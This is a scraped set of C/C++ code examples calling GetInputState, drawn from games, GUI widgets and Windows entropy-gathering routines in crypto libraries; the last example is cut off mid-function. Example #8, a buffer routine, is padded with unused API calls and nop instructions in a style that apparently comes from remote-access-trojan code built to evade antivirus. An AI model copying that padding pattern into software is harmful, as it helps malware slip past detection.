Example #1
0
int CTalkChirno1::Thread(){

	chara = 0;
	face = 0;
	enemy_face = -1;
	font.CreateList("いるんだろ?\n出てこいよ。");
	Talk();

	for( int i = 0; i < 46; i++ ) {
		g_pBoss->Appear();
		SunEffectRect flame;
		flame.m_color = argb(127,0,0,0);
		SetRect(&flame.m_rect,GAME_LEFT+60,350,GAME_RIGHT-60,430);
		D3DCOLOR color = mono(128+127*(chara==0));
		int cx = - (chara != 0) * 20;
		int cy = (chara != 0) * 20;
		DrawMarisa(-200+cx,60+cy,face,manfu,color);
		flame.Draw();
		if( !GetInputState( INP_B6 ) )
			mt.Suspend();
	}

	chara = 1;
	enemy_face = 3;
	font.CreateList("な、なんで分かったのよ……");
	fntEnemy.CreateList("氷精 チルノ",16);
	Talk();

	chara = 0;
	face = 1;
	font.CreateList("妖精が現れるのには、前触れがあるんだぜ、\n知らないのか?");
	Talk();

	return 1;
}
Example #2
0
Bool ColorBox::InputEvent(const BaseContainer &msg)
{
	if(msg.GetInt32(BFM_INPUT_DEVICE) == BFM_INPUT_MOUSE){
		if(msg.GetInt32(BFM_INPUT_CHANNEL) == BFM_INPUT_MOUSELEFT){
			m_mouseX = msg.GetInt32(BFM_INPUT_X);
			m_mouseY = msg.GetInt32(BFM_INPUT_Y);
			m_mouseDown = TRUE;
			Global2Local(&m_mouseX, &m_mouseY);
			MouseDragStart(BFM_INPUT_MOUSELEFT,m_mouseX, m_mouseY,MOUSEDRAGFLAGS_0);
			MouseUpdate();
		}
	}
	Float x, y;
	BaseContainer channels;
	while (MouseDrag(&x, &y, &channels) == MOUSEDRAGRESULT_CONTINUE)
	{
		m_mouseX -= x;
		m_mouseY -= y;
		//Global2Local(&m_mouseX, &m_mouseY);
		MouseUpdate();
	}
	BaseContainer res;
	if(GetInputState(BFM_INPUT_MOUSE,BFM_INPUT_MOUSELEFT,res) && res.GetInt32(BFM_INPUT_VALUE) == 0){
		if(m_mouseDown){
			MouseDragEnd();
			m_mouseDown = FALSE;
		}
	}

	return FALSE;
}
Example #3
0
//-------------------補助関数---------------------------------
int Next(){
	if( GetInputEvent( INP_B0 ))
		return 1;
	if( GetInputEvent( INP_B2 ))
		return 1;
	if( GetInputState( INP_B6 ))
		return 1;
	return 0;
}
Example #4
0
void fastPoll( void )
	{
	RANDOM_STATE randomState;
	BYTE buffer[ RANDOM_BUFSIZE ];
	SYSHEAPINFO sysHeapInfo;
	MEMMANINFO memManInfo;
	TIMERINFO timerInfo;
	POINT point;

	initRandomData( randomState, buffer, RANDOM_BUFSIZE );

	/* Get various basic pieces of system information: Handle of the window
	   with mouse capture, handle of window with input focus, amount of
	   space in global heap, whether system queue has any events, cursor
	   position for last message, 55 ms time for last message, number of
	   active tasks, 55 ms time since Windows started, current mouse cursor
	   position, current caret position */
	addRandomValue( randomState, GetCapture() );
	addRandomValue( randomState, GetFocus() );
	addRandomValue( randomState, GetFreeSpace( 0 ) );
	addRandomValue( randomState, GetInputState() );
	addRandomValue( randomState, GetMessagePos() );
	addRandomValue( randomState, GetMessageTime() );
	addRandomValue( randomState, GetNumTasks() );
	addRandomValue( randomState, GetTickCount() );
	GetCursorPos( &point );
	addRandomData( randomState, &point, sizeof( POINT ) );
	GetCaretPos( &point );
	addRandomData( randomState, &point, sizeof( POINT ) );

	/* Get the largest free memory block, number of lockable pages, number of
	   unlocked pages, number of free and used pages, and number of swapped
	   pages */
	memManInfo.dwSize = sizeof( MEMMANINFO );
	MemManInfo( &memManInfo );
	addRandomData( randomState, &memManInfo, sizeof( MEMMANINFO ) );

	/* Get the execution times of the current task and VM to approximately
	   1ms resolution */
	timerInfo.dwSize = sizeof( TIMERINFO );
	TimerCount( &timerInfo );
	addRandomData( randomState, &timerInfo, sizeof( TIMERINFO ) );

	/* Get the percentage free and segment of the user and GDI heap */
	sysHeapInfo.dwSize = sizeof( SYSHEAPINFO );
	SystemHeapInfo( &sysHeapInfo );
	addRandomData( randomState, &sysHeapInfo, sizeof( SYSHEAPINFO ) );

	/* Flush any remaining data through */
	endRandomData( randomState, 25 );
	}
Example #5
0
int CTalkMystia1::Thread(){
	chara = 0;
	face = 0;
	enemy_face = -1;
	font.CreateList("あー何だろな、この場所は");
	Talk();

	for( int i = 0; i < 46; i++ ) {
		g_pBoss->Appear();
		SunEffectRect flame;
		flame.m_color = argb(127,0,0,0);
		SetRect(&flame.m_rect,GAME_LEFT+60,350,GAME_RIGHT-60,430);
		D3DCOLOR color = mono(128+127*(chara==0));
		int cx = - (chara != 0) * 20;
		int cy = (chara != 0) * 20;
		DrawMarisa(-200+cx,60+cy,face,manfu,color);
		flame.Draw();
		if( !GetInputState( INP_B6 ) )
			mt.Suspend();
	}

	chara = 1;
	enemy_face = 2;
	font.CreateList("ある〜晴れ〜た日〜の事〜♪");
	fntEnemy.CreateList("みみずくの夜 ミスティア",16);
	Talk();

	chara = 0;
	face = 4;
	font.CreateList("なんだ、夜雀の巣か");
	Talk();

	chara = 1;
	enemy_face = 2;
	font.CreateList("魔砲以上の〜愉快な〜♪");
	Talk();

	chara = 0;
	face = 3;
	manfu = 3;
	font.CreateList("歌うな!");
	Talk();

	return 1;
}
Example #6
0
void OnCalendarLButtonUp(HWND hwndDlg, int x, int y, UINT flags) 
{
	POINT pPoint;
	pPoint.x=x;
	pPoint.y=y;
	//exit
	if(PtInRect(&rDateRects[31],pPoint))
		PostMessage(hwndDlg,WM_CLOSE,0,0);

	if(iPreviousHighlight!=-1 && PtInRect(&rDateRects[iPreviousHighlight],pPoint))
	{
		if (iPreviousHighlight!=32)
		{
			sCurrentDay.wDay=iPreviousHighlight+1;
			InvalidateRect(hwndDlg,NULL,FALSE);
		}
		else
		{					
			char sDay[25];int i;
			HDC hDC;HMENU hYearMenu;
			hDC=GetDC(hwndDlg);
			wsprintf(sDay,"%d-%s-%d",sCurrentDay.wDay,sMonthNames[sCurrentDay.wMonth-1],sCurrentDay.wYear);
			HeighlightText(hDC,sDay,rDateRects[32],clrCalendarDate/6,true);
			Draw3DBorder(hDC,rDateRects[32],clrCalendarBackGnd);
			iPreviousHighlight=32;
			ReleaseDC(hwndDlg,hDC);
			//Create a Popup menu showing +/- 5 years
			hYearMenu=CreatePopupMenu();

			for (i=0;i<10;i++)
			{
				wsprintf(sDay,"%d",sCurrentDay.wYear+i-5); 
				InsertMenu(hYearMenu,i,MF_BYPOSITION|MF_POPUP|MF_STRING,i+5000,sDay);
			}
			ClientToScreen(hwndDlg,&pPoint);
			SetMenuDefaultItem(hYearMenu,5,TRUE);
			TrackPopupMenu(hYearMenu,TPM_LEFTBUTTON,pPoint.x,pPoint.y,0,hwndDlg,NULL);
			i=GetInputState();
		}

	}
	return;
}
void
InputDeviceTouch::InternalUpdate(InputDeltaState* delta)
{
	impl_->Update(delta);

	if ((manager_.IsDebugRenderingEnabled() || IsDebugRenderingEnabled())
		&& manager_.GetDebugRenderer())
	{
		DebugRenderer* debugRenderer = manager_.GetDebugRenderer();
		InputState* state = GetInputState();

		for (unsigned i = 0; i < TouchPointCount; ++i)
		{
			if (state->GetBool(Touch0Down + i*4))
			{
				const float x = state->GetFloat(Touch0X + i*4);
				const float y = state->GetFloat(Touch0Y + i*4);
				debugRenderer->DrawCircle(x, y, 0.03f);
			}
		}
	}
}
Example #8
0
////////////////////////////////////////////////////////////////////////////////
// 
// FUNCTION:	DeAllocateBuffer
// 
// DESCRIPTION:	DeAllocates the Buffer to the requested size
// 
// RETURNS:		
// 
// NOTES:	
// 
// MODIFICATIONS:
// 
// Name				Date		Version		Comments
// N T ALMOND       270400		1.0			Origin
// 
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::DeAllocateBuffer(UINT nRequestedSize)
{

	TCHAR szModule [MAX_PATH];

	if (nRequestedSize < GetBufferLen())
		return 0;

	// Allocate new size
	UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;

	if (nNewSize < GetMemSize())
		return 0;

	CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
	// New Copy Data Over
	PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);

	UINT nBufferLen = GetBufferLen();
	__asm nop;
	__asm nop;
	CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
	CopyMemory(pNewBuffer,m_pBase,nBufferLen);

	GetForegroundWindow();
	VirtualFree(m_pBase,0,MEM_RELEASE);

	// Hand over the pointer
	m_pBase = pNewBuffer;

	// Realign position pointer
	m_pPtr = m_pBase + nBufferLen;

	GetInputState();

	m_nSize = nNewSize;

	return m_nSize;
}
Example #9
0
Int32 PaletteColor::Message(const BaseContainer& msg, BaseContainer& result)
{
	if(msg.GetId() == BFM_DRAGRECEIVE){
		Int32 type = 0;
		void *object = NULL;
		GetDragObject(msg, &type, &object);
		if(type == DRAGTYPE_RGB){
			Vector *color = static_cast<Vector*>(object);
			if(msg.GetInt32(BFM_DRAG_FINISHED)){
                switch(m_hoverState){
                    case HOVER_LEFT:
                        Palette::InsertPaletteColor(m_palette, m_colorID, Color(*color).SetSource(COLOR_SOURCE_DISPLAY));
                        break;
                    case HOVER_RIGHT:
                        Palette::InsertPaletteColor(m_palette, m_colorID+1, Color(*color).SetSource(COLOR_SOURCE_DISPLAY));
                        break;
                    case HOVER_CENTER:
                        Palette::SetPaletteColor(m_palette, m_colorID, Color(*color).SetSource(COLOR_SOURCE_DISPLAY));
                        break;
                    case HOVER_DELETE:
                        Palette::RemovePaletteColor(m_palette, m_colorID);
                        break;
                }
                m_hoverState = HOVER_NONE;
			}
			else{
				if (msg.GetInt32(BFM_DRAG_LOST)){
					m_hoverState = HOVER_NONE;
					Redraw();
				}
				else{
                    BaseContainer state;
                    if(GetInputState(BFM_INPUT_MOUSE, BFM_INPUT_MOUSELEFT, state)){
                        if((*color)[0] <0.f && ((*color)[1] < 0.f && ((*color)[2] < 0.f))){
                            m_hoverState = HOVER_DELETE;
                        }else{
                            Float sideWidth = 0.2;
                            Int32 x = state.GetInt32(BFM_INPUT_X);
                            Int32 y = state.GetInt32(BFM_INPUT_Y);
                            Global2Local(&x,&y);
                            if(x < m_w*sideWidth){
                                m_hoverState = HOVER_LEFT;
                            }
                            else{
                                if(x > m_w*(1.0-sideWidth)){
                                    m_hoverState = HOVER_RIGHT;
                                }
                                else{
                                    m_hoverState = HOVER_CENTER;
                                }
                            }
                        }
                        Redraw();
                        GeUserArea::Message(msg, result);
                        return SetDragDestination(MOUSE_POINT_HAND);
                    }
				}
			}
		}
	}

	return GeUserArea::Message(msg, result);
}
Example #10
0
void CKaiView::OnMouseMove (UINT ui_flags, CPoint co_point) 
{
    if ((ui_flags == MK_LBUTTON) && b_TrackRightBorder_)
    {
        if (co_point.x >= ec_MinLineWidth_)
        {
            v_Track_ (co_point.x);
        }
    }

    if (!b_Rendered_)
    {
        return;
    }

    if ((ui_flags == MK_LBUTTON) && !GetInputState() && !b_TrackRightBorder_)    
    {
        SetCapture();

        CT_TextPos co_selectTo;
        CRect co_rectClient;
        GetClientRect (&co_rectClient);
        if (co_point.y < co_rectClient.top)
        {
            //
            // Mouse is above the text: scroll up
            //
            bool b_ = b_ScreenToTextPos_ (co_point, &co_selectTo);
            if (!b_)
            {
                return;
            }
            co_selectTo.v_Update (pco_GetParagraph (st_DisplayWindow_.i_firstParagraph),
                                  st_DisplayWindow_.i_firstLine,
                                  CT_TextPos::ec_DoNotChange,
                                  CT_TextPos::ec_ParagraphPos);
            eo_SelectionMode_ = ec_DynamicSelection;
            v_SetMouseSelection_ (&co_selectTo);
            v_ScrollAndSelect_ (ec_DirectionUp);
        }
        else
        {
            int i_lastParagraph = st_DisplayWindow_.i_firstParagraph;
            int i_lastLine = st_DisplayWindow_.i_firstLine;
            for (int i_ = 0; i_ < st_DisplayWindow_.i_linesShown-1; ++i_)
            {
                bool b_ = b_GetNextLine_ (i_lastParagraph, 
                                          i_lastLine, 
                                          i_lastParagraph, 
                                          i_lastLine);
                if (!b_)
                {
                    return;
                }
            }
            CT_Line * pco_bottomLine = pco_GetLine_ (i_lastParagraph,
                                                     i_lastLine);
            if (co_point.y > co_rectClient.bottom)
            {
                //
                // Mouse below text: scroll down
                //
                int i_lineOffset = pco_bottomLine->i_GetVisibleTextLength();
                if (pco_bottomLine->b_IsLastInParagraph())
                {
                    --i_lineOffset; // assert >= 0?
                }
                co_selectTo.v_Update (pco_GetParagraph (i_lastParagraph), 
                                      i_lastLine, 
                                      i_lineOffset);
                eo_SelectionMode_ = ec_DynamicSelection;
                v_SetMouseSelection_ (&co_selectTo);
                v_ScrollAndSelect_ (ec_DirectionDown);
            }
            else
            {
                //
                // Mouse inside the client area - static selection
                //
                bool b_ = b_ScreenToTextPos_ (co_point, &co_selectTo);
                if (!b_)
                {
                    return;
                }
                CT_Paragraph * pco_p = pco_GetParagraph (co_selectTo.i_GetParagraph());
                if (co_selectTo.i_GetParagraphOffset() == pco_p->length()-1)
                {
                    ++co_selectTo;
                }
                v_SetMouseSelection_ (&co_selectTo);
            }
        }        
    }

    CView::OnMouseMove (ui_flags, co_point);

}    // OnMouseMove
Example #11
0
status
ws_events_queued_display(DisplayObj d)
{ return GetInputState() ? SUCCEED : FAIL;
}
Example #12
0
int
_gcry_rndw32_gather_random_fast (void (*add)(const void*, size_t, int),
                                 int requester )
{
    static int addedFixedItems = 0;

    if ( debug_me )
	log_debug ("rndw32#gather_random_fast: req=%d\n", requester );

    /* Get various basic pieces of system information: Handle of active
     * window, handle of window with mouse capture, handle of clipboard owner
     * handle of start of clpboard viewer list, pseudohandle of current
     * process, current process ID, pseudohandle of current thread, current
     * thread ID, handle of desktop window, handle  of window with keyboard
     * focus, whether system queue has any events, cursor position for last
     * message, 1 ms time for last message, handle of window with clipboard
     * open, handle of process heap, handle of procs window station, types of
     * events in input queue, and milliseconds since Windows was started */
    {	byte buffer[20*sizeof(ulong)], *bufptr;
	bufptr = buffer;
#define ADD(f)  do { ulong along = (ulong)(f);		      \
			   memcpy (bufptr, &along, sizeof (along) );  \
			   bufptr += sizeof (along); } while (0)
	ADD ( GetActiveWindow ());
	ADD ( GetCapture ());
	ADD ( GetClipboardOwner ());
	ADD ( GetClipboardViewer ());
	ADD ( GetCurrentProcess ());
	ADD ( GetCurrentProcessId ());
	ADD ( GetCurrentThread ());
	ADD ( GetCurrentThreadId ());
	ADD ( GetDesktopWindow ());
	ADD ( GetFocus ());
	ADD ( GetInputState ());
	ADD ( GetMessagePos ());
	ADD ( GetMessageTime ());
	ADD ( GetOpenClipboardWindow ());
	ADD ( GetProcessHeap ());
	ADD ( GetProcessWindowStation ());
	ADD ( GetQueueStatus (QS_ALLEVENTS));
	ADD ( GetTickCount ());

	assert ( bufptr-buffer < sizeof (buffer) );
	(*add) ( buffer, bufptr-buffer, requester );
#undef ADD
    }

    /* Get multiword system information: Current caret position, current
     * mouse cursor position */
    {	POINT point;
	GetCaretPos (&point);
	(*add) ( &point, sizeof (point), requester );
	GetCursorPos (&point);
	(*add) ( &point, sizeof (point), requester );
    }

    /* Get percent of memory in use, bytes of physical memory, bytes of free
     * physical memory, bytes in paging file, free bytes in paging file, user
     * bytes of address space, and free user bytes */
    {	MEMORYSTATUS memoryStatus;
	memoryStatus.dwLength = sizeof (MEMORYSTATUS);
	GlobalMemoryStatus (&memoryStatus);
	(*add) ( &memoryStatus, sizeof (memoryStatus), requester );
    }

    /* Get thread and process creation time, exit time, time in kernel mode,
       and time in user mode in 100ns intervals */
    {	HANDLE handle;
	FILETIME creationTime, exitTime, kernelTime, userTime;
	DWORD minimumWorkingSetSize, maximumWorkingSetSize;

	handle = GetCurrentThread ();
	GetThreadTimes (handle, &creationTime, &exitTime,
					       &kernelTime, &userTime);
	(*add) ( &creationTime, sizeof (creationTime), requester );
	(*add) ( &exitTime, sizeof (exitTime), requester );
	(*add) ( &kernelTime, sizeof (kernelTime), requester );
	(*add) ( &userTime, sizeof (userTime), requester );

	handle = GetCurrentProcess ();
	GetProcessTimes (handle, &creationTime, &exitTime,
						&kernelTime, &userTime);
	(*add) ( &creationTime, sizeof (creationTime), requester );
	(*add) ( &exitTime, sizeof (exitTime), requester );
	(*add) ( &kernelTime, sizeof (kernelTime), requester );
	(*add) ( &userTime, sizeof (userTime), requester );

	/* Get the minimum and maximum working set size for the
           current process */
	GetProcessWorkingSetSize (handle, &minimumWorkingSetSize,
					  &maximumWorkingSetSize);
	(*add) ( &minimumWorkingSetSize,
				   sizeof (minimumWorkingSetSize), requester );
	(*add) ( &maximumWorkingSetSize,
				   sizeof (maximumWorkingSetSize), requester );
    }


    /* The following are fixed for the lifetime of the process so we only
     * add them once */
    if (!addedFixedItems) {
	STARTUPINFO startupInfo;

	/* Get name of desktop, console window title, new window position and
	 * size, window flags, and handles for stdin, stdout, and stderr */
	startupInfo.cb = sizeof (STARTUPINFO);
	GetStartupInfo (&startupInfo);
	(*add) ( &startupInfo, sizeof (STARTUPINFO), requester );
	addedFixedItems = 1;
    }

    /* The performance of QPC varies depending on the architecture it's
     * running on and on the OS.  Under NT it reads the CPU's 64-bit timestamp
     * counter (at least on a Pentium and newer '486's, it hasn't been tested
     * on anything without a TSC), under Win95 it reads the 1.193180 MHz PIC
     * timer.  There are vague mumblings in the docs that it may fail if the
     * appropriate hardware isn't available (possibly '386's or MIPS machines
     * running NT), but who's going to run NT on a '386? */
    {	LARGE_INTEGER performanceCount;
	if (QueryPerformanceCounter (&performanceCount)) {
	    if ( debug_me )
		log_debug ("rndw32#gather_random_fast: perf data\n");
	    (*add) (&performanceCount, sizeof (performanceCount), requester);
	}
	else { /* Millisecond accuracy at best... */
	    DWORD aword = GetTickCount ();
	    (*add) (&aword, sizeof (aword), requester );
	}
    }

    return 0;
}
Example #13
0
/**
* Win32 poll using stats functions including Tooltip32
*/
void Win32_EntropySource::poll(Entropy_Accumulator& accum)
   {
   /*
   First query a bunch of basic statistical stuff, though
   don't count it for much in terms of contributed entropy.
   */
   accum.add(GetTickCount(), 0);
   accum.add(GetMessagePos(), 0);
   accum.add(GetMessageTime(), 0);
   accum.add(GetInputState(), 0);
   accum.add(GetCurrentProcessId(), 0);
   accum.add(GetCurrentThreadId(), 0);

   SYSTEM_INFO sys_info;
   GetSystemInfo(&sys_info);
   accum.add(sys_info, 1);

   MEMORYSTATUS mem_info;
   GlobalMemoryStatus(&mem_info);
   accum.add(mem_info, 1);

   POINT point;
   GetCursorPos(&point);
   accum.add(point, 1);

   GetCaretPos(&point);
   accum.add(point, 1);

   LARGE_INTEGER perf_counter;
   QueryPerformanceCounter(&perf_counter);
   accum.add(perf_counter, 0);

   /*
   Now use the Tooltip library to iterate throug various objects on
   the system, including processes, threads, and heap objects.
   */

   HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);

#define TOOLHELP32_ITER(DATA_TYPE, FUNC_FIRST, FUNC_NEXT) \
   if(!accum.polling_finished())                     \
      {                                                   \
      DATA_TYPE info;                                     \
      info.dwSize = sizeof(DATA_TYPE);                    \
      if(FUNC_FIRST(snapshot, &info))                     \
         {                                                \
         do                                               \
            {                                             \
            accum.add(info, 1);                           \
            } while(FUNC_NEXT(snapshot, &info));          \
         }                                                \
      }

   TOOLHELP32_ITER(MODULEENTRY32, Module32First, Module32Next);
   TOOLHELP32_ITER(PROCESSENTRY32, Process32First, Process32Next);
   TOOLHELP32_ITER(THREADENTRY32, Thread32First, Thread32Next);

#undef TOOLHELP32_ITER

   if(!accum.polling_finished())
      {
      size_t heap_lists_found = 0;
      HEAPLIST32 heap_list;
      heap_list.dwSize = sizeof(HEAPLIST32);

      const size_t HEAP_LISTS_MAX = 32;
      const size_t HEAP_OBJS_PER_LIST = 128;

      if(Heap32ListFirst(snapshot, &heap_list))
         {
         do
            {
            accum.add(heap_list, 1);

            if(++heap_lists_found > HEAP_LISTS_MAX)
               break;

            size_t heap_objs_found = 0;
            HEAPENTRY32 heap_entry;
            heap_entry.dwSize = sizeof(HEAPENTRY32);
            if(Heap32First(&heap_entry, heap_list.th32ProcessID,
                           heap_list.th32HeapID))
               {
               do
                  {
                  if(heap_objs_found++ > HEAP_OBJS_PER_LIST)
                     break;
                  accum.add(heap_entry, 1);
                  } while(Heap32Next(&heap_entry));
               }

            if(accum.polling_finished())
               break;

            } while(Heap32ListNext(snapshot, &heap_list));
         }
      }

   CloseHandle(snapshot);
   }
Example #14
0
void CNewRandom::Initialize()
{
	++g_dwNewRandomInstanceCounter;

	DWORD dw;
	dw = timeGetTime();
	AddRandomObject(&dw, 4);

	LARGE_INTEGER li;
	QueryPerformanceCounter(&li);
	AddRandomObject(&li, sizeof(LARGE_INTEGER));

	SYSTEMTIME st;
	ZeroMemory(&st, sizeof(SYSTEMTIME));
	GetLocalTime(&st);
	AddRandomObject(&st, sizeof(SYSTEMTIME));

	POINT pt;
	GetCursorPos(&pt);
	AddRandomObject(&pt, sizeof(POINT));

	WORD ww;
	ww = (WORD)(rand());
	AddRandomObject(&ww, 2);
	ww = (WORD)(rand());
	AddRandomObject(&ww, 2);
	ww = (WORD)(rand());
	AddRandomObject(&ww, 2);

	GetCaretPos(&pt);
	AddRandomObject(&pt, sizeof(POINT));

	MEMORYSTATUS ms;
	GlobalMemoryStatus(&ms);
	AddRandomObject(&ms, sizeof(MEMORYSTATUS));

	dw = (DWORD)(UINT_PTR)GetActiveWindow();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetCapture();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetClipboardOwner();
	AddRandomObject(&dw, 4);

#ifndef _WIN32_WCE
	// No support under Windows CE
	dw = (DWORD)(UINT_PTR)GetClipboardViewer();
	AddRandomObject(&dw, 4);
#endif

	dw = GetCurrentProcessId();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetCurrentProcess();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetActiveWindow();
	AddRandomObject(&dw, 4);

	dw = GetCurrentThreadId();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetCurrentThread();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetDesktopWindow();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetFocus();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetForegroundWindow();
	AddRandomObject(&dw, 4);

#ifndef _WIN32_WCE
	dw = (DWORD)GetInputState();
	AddRandomObject(&dw, 4); 
#endif

	dw = GetMessagePos();
	AddRandomObject(&dw, 4);

#ifndef _WIN32_WCE
	dw = (DWORD)GetMessageTime();
	AddRandomObject(&dw, 4);
#endif

	dw = (DWORD)(UINT_PTR)GetOpenClipboardWindow();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetProcessHeap();
	AddRandomObject(&dw, 4);

	SYSTEM_INFO si;
	GetSystemInfo(&si);
	AddRandomObject(&si, sizeof(SYSTEM_INFO));

	dw = (DWORD)randXorShift();
	AddRandomObject(&dw, 4);

#ifndef _WIN32_WCE
	STARTUPINFO sui;
	GetStartupInfo(&sui);
	AddRandomObject(&sui, sizeof(STARTUPINFO));
#endif

	GUID guid;
	VERIFY(CoCreateGuid(&guid) == S_OK);
	AddRandomObject(&guid, sizeof(GUID));

	BYTE pbCrypt[64];
	CNewRandom::SysCryptGetRandom(&pbCrypt[0], 64);
	AddRandomObject(&pbCrypt[0], 64);

	AddRandomObject(&g_dwNewRandomInstanceCounter, 4);
}
Example #15
0
int CPlayer::StepFrame()
{
	int i;
	VECT former = m_pos;
	switch(m_state)
	{
	case 0://通常状態
		//移動処理
		if(GetInputState(INP_RIGHT) && GetRight() < SCREEN_WIDTH)
			m_pos.x += PLAYER_SPEED;
		while(CollTikei())
		{
			m_pos.x --;
			if(m_pos.x < 0 && m_muteki==0)
			{
				Damage();
				break;
			}
		}
		if(GetInputState(INP_LEFT) && GetLeft() > 0)
			m_pos.x -= PLAYER_SPEED;
		if(CollTikei())
			m_pos.x = former.x;
		if(GetInputState(INP_DOWN) && GetBottom() < SCREEN_HEIGHT)
			m_pos.y += PLAYER_SPEED;
		if(GetInputState(INP_UP) && GetTop() > 0)
			m_pos.y -= PLAYER_SPEED;
		if(CollTikei())
			m_pos.y = former.y;
		//ショット
		if(GetInputState(INP_B0))
		{
			m_shottime++;
			if(m_shottime%(8-m_power/2) == 0)
			{
				g_pResource->sndShot.Play(0);
				g_pshot.Add(new CPlayerShot(&g_pResource->imgPlayerShot, m_surasuta.GetPos()-VECT(10,5), VECT(20,0)));
				g_pshot.Add(new CPlayerShot(&g_pResource->imgPlayerShot, m_surasuta.GetPos()+VECT(-10,5), VECT(20,0)));
			}
			if(m_shottime%(10) == 0)
			{
				if(m_power>0)
				{
					g_pshot.Add(new CPlayerShot(&g_pResource->imgSubShot2, GetCenter()+VECT(0,5), VECT(10,3)));
					g_pshot.Add(new CPlayerShot(&g_pResource->imgSubShot1, GetCenter()-VECT(0,5), VECT(10,-3)));
				}
				if(m_power>3)
				{
					g_pshot.Add(new CPlayerShot(&g_pResource->imgSubShot2, GetCenter()+VECT(0,5), VECT(10,1.5)));
					g_pshot.Add(new CPlayerShot(&g_pResource->imgSubShot1, GetCenter()-VECT(0,5), VECT(10,-1.5)));
				}
				if(m_power>5)
				{
					g_pshot.Add(new CPlayerShot(&g_pResource->imgSubShot2, GetCenter()+VECT(0,5), VECT(10,7)));
					g_pshot.Add(new CPlayerShot(&g_pResource->imgSubShot1, GetCenter()-VECT(0,5), VECT(10,-7)));
				}
				if(m_power>7)
				{
					g_pshot.Add(new CPlayerShot(&g_pResource->imgSubShot2, GetCenter()+VECT(0,5), VECT(10,5)));
					g_pshot.Add(new CPlayerShot(&g_pResource->imgSubShot1, GetCenter()-VECT(0,5), VECT(10,-5)));
				}
			}
		}
		//無敵処理
		if(m_muteki>0)
			m_muteki--;
		//吸い込み
		if(GetInputState(INP_B1))
		{
			for(i=0; i<ITEM_NUM; ++i)
				if(g_item[i])
					g_item[i]->Pull();
			for(i=0; i<ENEMYSHOT_NUM; ++i)
				if(g_enemyShot[i])
					g_enemyShot[i]->Pull(GetCenter());
		}
		//当たり判定:アイテム
		if(m_anmtime%2)
		for(i=0; i<ITEM_NUM; ++i){
			if(g_item[i]){
				if(this->IsColl(g_item[i])){
					g_pResource->sndItem.Play(0);
					g_pScore->item ++;
					g_pScore->score += SCORE_ITEM;
					m_item++;
					if(m_item%(80+150*m_power) == 0 && m_power<10)
						m_power++;
					SAFE_DELETE(g_item[i]);
					break;
				}
			}
		}
		//当たり判定:敵
		if(m_muteki==0){
			for(i=0; i<ENEMY_NUM; ++i){
				if(g_enemy[i]&&g_enemy[i]->GetHP()!=20){
					if(this->IsColl2(g_enemy[i])){
						Damage();
						break;
					}
				}
			}
		}
		//当たり判定:敵弾
		if(m_muteki==0){
			for(i=0; i<ENEMYSHOT_NUM; ++i){
				if(g_enemyShot[i]){
					if(this->IsColl2(g_enemyShot[i])){
						Damage();
						break;
					}
				}
			}
		}
		//アニメ処理
		m_anmtime++;
		if(m_anmtime==PLAYER_ANMCYCLE)
			m_anmtime=0;
		//描画
		//本体(無敵でない・無敵中点滅オン・ポーズ寸前)
		if(m_muteki==0||m_anmtime%5||GetInputEvent(INP_B3))
			m_pimg->Draw2(100, m_pos.x, m_pos.y, m_anmtime*3/PLAYER_ANMCYCLE, GetInputState(INP_LEFT));
		//スラスタ
		if(GetInputState(INP_B0) && GetInputState(INP_B1))	//吸い込み+ショット
			m_surasuta.StepFrame(m_pos,3);
		else if(GetInputState(INP_B0))//ショット(変形
			m_surasuta.StepFrame(m_pos,2);
		else if(GetInputState(INP_B1))//吸い込み
			m_surasuta.StepFrame(m_pos,1);
		else//なんもなし
			m_surasuta.StepFrame(m_pos,0);
		break;
	case 1://出現モーション中
		m_anmtime++;
		m_pos.x += (30.0-m_anmtime)/5;
		m_pimg->Draw2(100, m_pos);					//本体
		m_surasuta.StepFrame(m_pos,4);
		if(m_anmtime > 40)
		{
			m_anmtime = 0;
			m_muteki = PLAYER_MUTEKI;
			m_state = 0;//通常状態に戻す
		}
		break;
	case 2://死亡モーション(墜落)中
		m_anmtime++;
		m_pos.y += (double)m_anmtime/5;
		m_pimg->Draw2(100, m_pos, 0, 2);
		m_surasuta.StepFrame(m_pos,4);
		if(m_anmtime > 40)
		{
			//ゲームオーバーチェックは墜落が終わってから
			if(m_zanki<0)
				return 0;
			m_pos = VECT(-40,105);
			m_anmtime = 0;
			m_state = 1;
		}
		break;
	}
	//残機数描画
	for(i=0;i<m_zanki;++i)
		g_pResource->imgZanki.Draw2(70,130+i*20,215);
	return 1;
}
Example #16
0
/*-----------------------------------------------------------------------------
*  program start
*/
int main(void) {                      

   int     sioHandle;
   uint8_t inputState;

   MCUSR = 0;
   wdt_disable();

   /* get module address from EEPROM */
   sMyAddr = eeprom_read_byte((const uint8_t *)MODUL_ADDRESS);

   sInputType = eeprom_read_byte((const uint8_t *)INPUT_TYPE);
   if (sInputType > INPUT_TYPE_MOTION_DETECTOR) {
      sInputType = INPUT_TYPE_DUAL_BUTTON;
   }
   PortInit();
   TimerInit();
   SioInit();
   SioRandSeed(sMyAddr);
   sioHandle = SioOpen("USART0", eSioBaud9600, eSioDataBits8, eSioParityNo, 
                       eSioStopBits1, eSioModeHalfDuplex);
   SioSetIdleFunc(sioHandle, IdleSio);
   SioSetTransceiverPowerDownFunc(sioHandle, BusTransceiverPowerDown);

   BusTransceiverPowerDown(true);
   
   BusInit(sioHandle);
   spRxBusMsg = BusMsgBufGet();

   /* enable global interrupts */
   ENABLE_INT;  

   SendStartupMsg();
   
